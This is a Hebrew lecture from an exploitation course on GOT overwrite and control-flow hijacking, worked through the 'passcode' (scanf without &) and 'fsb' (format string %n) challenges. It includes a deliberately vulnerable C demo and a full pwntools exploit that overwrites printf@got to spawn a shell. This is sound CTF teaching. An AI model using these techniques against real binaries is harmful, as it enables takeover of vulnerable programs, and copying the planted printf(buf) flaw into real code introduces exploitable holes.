לדלג לתוכן

5.4 דריסת GOT וחטיפת זרימה הרצאה

בפרקים הקודמים בנינו לעצמנו, צעד אחר צעד, פרימיטיב חזק: קריאה שרירותית מהזיכרון (5.2) וכתיבה שרירותית לזיכרון עם %n (5.3). אבל כתיבה לכתובת כלשהי היא רק חצי מהסיפור. השאלה האמיתית היא: לאן כדאי לכתוב כדי שנשתלט על זרימת התוכנית? התשובה הקלאסית, היפה, וזו שנעבוד איתה כאן, היא טבלת ה-GOT. בהרצאה הזו נלמד את הפרימיטיב של דריסת GOT וחטיפת זרימת בקרה, ונגיע אליו משני באגים שונים לגמרי: פעם דרך scanf שנכתב בלי & (האתגר passcode), ופעם דרך חולשת מחרוזת format (האתגר fsb). שני באגים רחוקים, אותה נקודת מפגש: כתיבה של כתובת אחת מעל ערך ב-GOT.

תזכורת - טבלת הקישור העקיפה - GOT ו-PLT

כשתוכנית קוראת לפונקציה מספרייה משותפת, למשל system או fflush, היא לא יודעת בזמן הקומפילציה באיזו כתובת הפונקציה תשב בזיכרון - זה נקבע רק בזמן הריצה, כשה-loader טוען את libc. הפתרון הוא שכבת עקיפה משני חלקים:

  • טבלת ה-PLT - Procedure Linkage Table: קטע קוד קטן שקורא לו הבינארי במקום לקרוא ישירות לפונקציה.
  • טבלת ה-GOT - Global Offset Table: טבלת מצביעים בזיכרון הכתיב, שבה נשמרת הכתובת האמיתית של כל פונקציה.

כשהקוד קורא ל-system, הוא בעצם קופץ ל-system@plt, וזה קופץ בעקיפין דרך הערך שנמצא בתא ה-GOT של system:

Our code                 PLT                         GOT (writable!)
  call system@plt  ->  jmp *[system@got]  --------> 0xf7e12345  (the real address of system in libc)
                                                     ^
                                                     | we write here

שתי עובדות הופכות את ה-GOT ליעד מושלם עבורנו:

  • הפונקציה נקראת בעקיפין דרך התא הזה. אם נחליף את הערך בתא, הקריאה הבאה לאותה פונקציה תקפוץ למקום שאנחנו בחרנו.
  • תחת RELRO חלקי - Partial RELRO (ברירת המחדל ברוב הבינאריים הישנים, וגם ב-passcode וב-fsb), טבלת ה-.got.plt היא כתיבה. אין שום הגנת חומרה שמונעת מאיתנו לכתוב לשם.

זה בדיוק ההבדל מדריסת return address על המחסנית: כדי לדרוס return address צריך לחכות ש-ret ירוץ, ולעבור דרך ה-canary. דריסת GOT עוקפת את שניהם. אין canary על ה-GOT, והשליטה עוברת אלינו ברגע שהפונקציה שדרסנו נקראת - וזה קורה כל הזמן.

הפרימיטיב - דריסת ערך ב-GOT וחטיפת זרימה

הרעיון הכללי פשוט להפליא, ולא משנה מאיזה באג מגיעה הכתיבה:

  1. יש לנו פרימיטיב של כתיבה - נוכל לכתוב ערך שאנחנו שולטים בו לכתובת שאנחנו שולטים בה.
  2. אנחנו בוחרים ב-GOT תא של פונקציה שעומדת להיקרא בקרוב אחרי הכתיבה (למשל fflush, printf, exit).
  3. אנחנו כותבים לתא הזה את הכתובת של קטע הקוד שאנחנו רוצים להריץ - נתיב "ניצחון" קיים בבינארי, למשל השורה שקוראת ל-system("/bin/cat flag"), או פונקציית win.
  4. כשהתוכנית קוראת לפונקציה שדרסנו, במקום להגיע ל-libc היא קופצת לקוד שלנו.

שימו לב לנקודה חשובה: אנחנו כמעט אף פעם לא כותבים כתובת של shellcode משלנו, כי ה-NX דלוק והמחסנית לא ניתנת להרצה. במקום זה אנחנו מכוונים את הזרימה לקוד שכבר קיים ומורשה לרוץ בתוך הבינארי או ב-libc. זו אותה פילוסופיה של ROP ו-ret2libc: לא מזריקים קוד, מנתבים מחדש קוד קיים.

עכשיו בואו נראה איך משיגים את הכתיבה עצמה. נעשה את זה משני באגים.

מקור כתיבה ראשון - scanf בלי & (הבאג של passcode)

זה אחד הבאגים הכי אלגנטיים שיש, כי הוא נראה כמו טעות הקלדה תמימה. הביטו בשתי השורות:

int passcode;
scanf("%d", &passcode);   // correct: passes the address of passcode
scanf("%d", passcode);    // bug: passes the value of passcode as a target address!

הפונקציה scanf עם %d מצפה לקבל כתובת שאליה תכתוב את המספר שקראה. כשכותבים &passcode מעבירים את הכתובת של המשתנה - תקין. כששוכחים את ה-&, מעבירים את הערך של passcode, ו-scanf מתייחסת לערך הזה ככתובת וכותבת אליו. אם passcode לא אותחל, הערך שלו הוא זבל כלשהו שנשאר על המחסנית - ואם נצליח לשלוט בזבל הזה, נשלוט בכתובת היעד של הכתיבה. זה בדיוק פרימיטיב כתיבה שרירותית.

איך שולטים בזבל שעל המחסנית - מסגרות חופפות

הנה הקוד המקורי של passcode, מקוצר:

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);     // we control these 100 bytes
    printf("Welcome %s!\n", name);
}

void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);   // the bug! passcode1 is not initialized
    fflush(stdin);
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
        printf("Login OK!\n");
        system("/bin/cat flag");
    }
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}

int main(){
    welcome();
    login();
    return 0;
}

הטריק טמון בכך ש-welcome ו-login נקראות אחת אחרי השנייה מ-main. כשה-welcome חוזרת, המסגרת שלה על המחסנית משתחררת, ואז login נקראת ומקבלת את אותו שטח מחסנית בדיוק. שתיהן נכנסות עם push ebp; mov ebp, esp, כלומר ה-ebp שלהן זהה. לכן משתנים מקומיים שלהן נופלים על אותן כתובות:

High addresses
+---------------------------+  <-- ebp (same in both functions)
| ...                       |
+------ ebp-0x10 -----------+
| passcode1 (in login)      |  <-- login holds passcode1 here
| name[96..99] (in welcome) |  <-- bytes 96-99 of name land here
+---------------------------+
| ...                       |
+------ ebp-0x70 -----------+
| name[0..3] (in welcome)   |  <-- buffer name starts here
+---------------------------+
Low addresses

מהדיסאסמבלי רואים ש-name יושב ב-ebp-0x70 וש-passcode1 יושב ב-ebp-0x10. ההפרש הוא 0x70 - 0x10 = 0x60 = 96 בתים. כלומר, הבתים 96 עד 99 של name הם בדיוק passcode1. אנחנו כותבים 100 בתים ל-name, אז 96 הבתים הראשונים הם מילוי, וארבעת הבתים האחרונים קובעים את הערך של passcode1.

ומה נשים בערך של passcode1? את הכתובת שאליה נרצה ש-scanf("%d", passcode1) תכתוב - כלומר תא ב-GOT.

מרכיבים את ההתקפה

הפונקציה fflush(stdin) נקראת מיד אחרי ה-scanf הראשון. זו מתנה: נדרוס את התא של fflush ב-GOT, וכשהתוכנית תקרא ל-fflush היא תקפוץ לקוד שלנו - עוד לפני שביקשה מאיתנו את passcode2 ולפני כל בדיקת סיסמה.

  • שלב א: ב-name נשים 'A'*96 + p32(fflush@got). עכשיו passcode1 == fflush@got.
  • שלב ב: כשמגיע scanf("%d", passcode1), נזין את המספר העשרוני של כתובת ה"ניצחון" - השורה ב-login שמריצה system("/bin/cat flag"). scanf כותבת את המספר הזה לתוך fflush@got.
  • שלב ג: התוכנית קוראת fflush(stdin), קופצת דרך ה-GOT שדרסנו, ומריצה system("/bin/cat flag"). הדגל מודפס.

שימו לב שכלל לא נדרשנו לדעת את הסיסמאות. חטפנו את הזרימה לפני הבדיקה. את הכתובות המדויקות (fflush@got וכתובת ה-system call) נמצא בהמשך עם objdump ו-pwntools, וזה בדיוק תוכן התרגול והפתרון.

מקור כתיבה שני - מחרוזת format עם %n

עכשיו נשיג את אותו פרימיטיב מבאג אחר לגמרי. כמו שראינו ב-5.3, כשהתוקף שולט במחרוזת הformat של printf, הספציפייר %n כותב את מספר התווים שהודפסו עד כה לכתובת שנלקחת מהמחסנית. עם שילוב של:

  • מיקום פוזיציוני %N$n כדי לבחור מאיזה ארגומנט (כלומר מאיזו מילה על המחסנית) נלקחת הכתובת,
  • שליטה בכמות התווים שהודפסו באמצעות %<מספר>c כדי לקבוע איזה ערך נכתב,
  • וכתובת יעד ששתלנו בעצמנו על המחסנית (כי הקלט שלנו יושב על המחסנית),

אנחנו מקבלים כתיבה שרירותית מלאה: ערך כלשהו לכתובת כלשהי. וכשיש כתיבה שרירותית, אתם כבר יודעים לאן מכוונים - תא ב-GOT.

הרעיון: נדרוס תא של פונקציה שנקראת אחרי ה-printf הvulnerable (או בסבב הבא של לולאה, כמו במבנה של fsb) בכתובת של פונקציית win או של קוד שמריץ shell. הקריאה הבאה דרך אותו תא תקפוץ אלינו.

בונים את ה-payload ביד מול pwntools

לכתוב %n payload ביד זה כאב ראש: צריך לחשב רוחב, לפצל את הכתיבה לבתים או ל-halfwords כדי לא להדפיס מיליוני תווים, ולסדר את הכתובות. למזלנו pwntools עושה את כל זה בפונקציה אחת:

from pwn import *

context.binary = elf = ELF('./target')   # sets architecture, endianness etc.

offset = 7                               # the position where our input sits (we'll find it below)
target = elf.got['printf']               # the GOT entry we'll overwrite
value  = elf.symbols['win']              # the address we'll write there

payload = fmtstr_payload(offset, {target: value})

הפונקציה fmtstr_payload(offset, {addr: val}) מחזירה מחרוזת format מוכנה שכותבת val לכתובת addr, מחושבת נכון עבור הארכיטקטורה. כל מה שצריך לתת לה זה ה-offset הנכון.

מציאת ה-offset של מחרוזת הformat

ה-offset הוא המיקום הפוזיציוני שבו הקלט שלנו נראה מנקודת המבט של printf. מוצאים אותו בניסוי פשוט: שולחים סמן ידוע ואחריו כמה %p, ורואים באיזה מהם מופיע הסמן:

input:  AAAA %p %p %p %p %p %p %p %p
output: AAAA 0xf7f... 0x0 0x8048... 0x1 0xffffd6a0 0xf7fc4000 0x41414141 ...
                                                             ^
                                    0x41414141 (that's 'AAAA') comes back here = position 7

ה-AAAA שלנו (0x41414141) הופיע בארגומנט השביעי, אז offset = 7. זה אומר שאם נשים כתובת יעד בתחילת הקלט, נוכל להצביע עליה עם %7$n. ב-pwntools אפשר גם לתת ל-FmtStr לגלות את זה אוטומטית עם פונקציית probe, אבל טוב להבין את הידני קודם.

הדגמה מקומית מלאה - דריסת GOT דרך format string

בואו נראה את כל הchain עובדת על בינארי דמה שאנחנו שולטים בו במאה אחוז, לפני שנתמודד עם fsb האמיתי. הנה הקוד:

// fmt_demo.c
#include <stdio.h>
#include <stdlib.h>

void win(){
    system("/bin/sh");        // the win path we want to reach
}

int main(){
    char buf[128];
    setvbuf(stdout, 0, 2, 0);
    while(1){                 // loop - like the structure of fsb
        printf("> ");
        if(!fgets(buf, sizeof(buf), stdin)) break;
        printf(buf);          // classic format string vulnerability
    }
    return 0;
}

מהדרים ל-32 ביט בלי canary ובלי PIE, כדי שהכתובות יהיו קבועות:

gcc -m32 -fno-stack-protector -no-pie -o fmt_demo fmt_demo.c
checksec ./fmt_demo

נוודא את ההנחות שלנו לגבי ההגנות:

Arch:     i386-32-little
RELRO:    Partial RELRO      <-- the GOT is writable. Good.
Stack:    No canary found
NX:       NX enabled         <-- no shellcode, we'll target existing code
PIE:      No PIE             <-- code and GOT addresses are fixed

מצב RELRO חלקי הוא ההנחה הקריטית כאן: הוא מבטיח שטבלת ה-.got.plt כתיבה. תחת RELRO מלא ההתקפה הזו לא תעבוד, ונדבר על זה בהמשך.

עכשיו ה-exploit המלא:

from pwn import *

context.binary = elf = ELF('./fmt_demo')
context.log_level = 'info'

# step 1 - find the offset (we did this manually and found 7)
offset = 7

# step 2 - build the write: printf@got  <-  address of win
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['win']})

p = process('./fmt_demo')
p.recvuntil(b'> ')
p.sendline(payload)     # the vulnerable printf performs the write to the GOT
# on the next loop round, printf("> ") already jumps to win -> system("/bin/sh")
p.interactive()

מה קורה בזמן ריצה, שלב אחר שלב:

1. We send the payload. fgets reads it into buf.
2. printf(buf) performs the %n writes: it overwrites printf@got with the address of win.
3. The loop repeats, and runs printf("> ").
4. But printf@got now points to win! The call jumps to win.
5. win runs system("/bin/sh"). We got a shell.

הבחירה לדרוס דווקא את printf@got נוחה כי printf נקראת שוב מיד בסבב הבא, אז החטיפה מתרחשת כמעט מיידית. אפשר היה לדרוס גם את fgets@got או כל פונקציה אחרת שנקראת בהמשך.

המבנה של fsb ואיך מתרגמים אליו את הפרימיטיב

האתגר fsb הוא בדיוק המקרה הזה: הוא קורא קלט לתוך buffer גלובלי ואז מפעיל עליו פונקציית printf ישירות (הבאג printf(buf)), בתוך לולאה. בבינארי קיים גם נתיב שמריץ shell באמצעות execve("/bin/sh", args, ...), שמוגן בתנאי כלשהו. יש לנו שתי דרכים לנצח, ושתיהן דריסה עם %n:

  • לדרוס תא ב-GOT (למשל של פונקציה שנקראת בסבב הבא של הלולאה) בכתובת של קטע ה-execve("/bin/sh", ...), וכך לקפוץ אליו ישירות.
  • לדרוס את משתנה ה-key הגלובלי שהתנאי בודק, כך שהתנאי יתקיים והתוכנית בעצמה תקרא ל-shell.

שתי הגישות לגיטימיות ומתועדות. הראשונה מדגימה את פרימיטיב דריסת ה-GOT, השנייה מדגימה כתיבה שרירותית למשתנה נתונים - שתיהן אותו פרימיטיב %n, יעד אחר. בתרגול ובפתרון נבחר יעד, נמצא את ה-offset של מחרוזת הformat, וניצור shell.

מה עושים כשיש RELRO מלא - Full RELRO

חובה להיות כנים לגבי הגבולות: כל הפרק הזה מסתמך על כך שה-GOT כתיב. תחת RELRO מלא, ה-loader מסמן את כל ה-GOT כקריאה-בלבד אחרי הקישור, ודריסת GOT פשוט תיכשל עם segfault. בדקו תמיד עם checksec. אם ראיתם Full RELRO, מכוונים למקום אחר:

  • הreturn address על המחסנית - אם החולשה מאפשרת לכתוב על המחסנית (למשל format string שמצביע על slot שהוא return address), דורסים אותה במקום GOT.
  • מצביעי פונקציה בזיכרון הכתיב - טבלאות callback, מבני vtable מזויפים.
  • הוקים של הקצאת זיכרון - __malloc_hook / __free_hook (עבדו עד glibc 2.34; הוסרו מאז).
  • הchain של exit handlers - __exit_funcs / מצביעי מפרקים ב-TLS, שדורשים גם עקיפה של pointer mangling.

בקורס הזה passcode ו-fsb הם שניהם RELRO חלקי, אז דריסת GOT היא הדרך הישירה. אבל תמיד תתחילו מ-checksec, כי הוא קובע את כל האסטרטגיה.

שיקולים מעשיים שחשוב לזכור

  • בתים לבנים ו-scanf %s: הפונקציה scanf עם %s עוצרת ברווח לבן (רווח 0x20, טאב 0x09, שורה חדשה 0x0a, וגם form feed 0x0c). ב-passcode, אם כתובת ה-GOT שבחרתם מכילה בית לבן כזה, ה-scanf שקורא את name ייעצר באמצע והכתובת לא תישתל. בחרו תא GOT שכתובתו נקייה מבתים לבנים (למשל fflush@got שמסתיים ב-0x04), או שנו יעד.
  • כתיבה לפי בתים מול halfword: %n תמים מנסה להדפיס מספר תווים ששווה לערך היעד - זה יכול להיות מיליארדים. תמיד מפצלים לכתיבות של בית (%hhn) או halfword (%hn). pwntools עושה זאת אוטומטית ב-fmtstr_payload.
  • הגנות ASLR ו-PIE: כתובת ה-GOT וכתובות הקוד קבועות רק כאשר אין PIE. אם הבינארי הוא PIE, קודם צריך leak של כתובת (למשל עם %p מאותה חולשת format string) כדי לחשב את בסיס הקוד, ורק אז לדרוס. ב-passcode וב-fsb אין PIE, אז הכתובות קבועות.
  • סדר הבתים: כתובות נכתבות ב-little endian. ב-pwntools משתמשים ב-p32(addr) ל-32 ביט וב-p64(addr) ל-64 ביט, ולא מרכיבים בתים ידנית.

סיכום

  • טבלת ה-GOT היא יעד הכתיבה המועדף לחטיפת זרימה: הפונקציות נקראות דרכה בעקיפין, והיא כתיבה תחת RELRO חלקי - בלי canary ובלי צורך לחכות ל-ret.
  • הפרימיטיב אחיד: משיגים כתיבה שרירותית, כותבים כתובת של קוד ניצחון קיים מעל תא GOT של פונקציה שתיקרא בקרוב, והקריאה הבאה קופצת אלינו.
  • מקור כתיבה ראשון - scanf("%d", var) בלי &: הערך של var משמש ככתובת יעד. ב-passcode שולטים בערך הזה דרך חפיפת מסגרות בין name של welcome ל-passcode1 של login (offset 96), ודורסים את fflush@got.
  • מקור כתיבה שני - מחרוזת format עם %n: בונים כתיבה שרירותית עם מיקום פוזיציוני ורוחב, ודורסים תא GOT. pwntools מפשט הכל עם fmtstr_payload(offset, {addr: val}).
  • מוצאים את ה-offset של מחרוזת הformat בעזרת סמן AAAA וסדרת %p.
  • מכוונים תמיד לקוד קיים ומורשה (נתיב ניצחון, system, execve) ולא ל-shellcode, כי ה-NX דלוק.
  • לפני הכל - checksec: RELRO מלא הורג את דריסת ה-GOT, PIE דורש leak של כתובת קודם.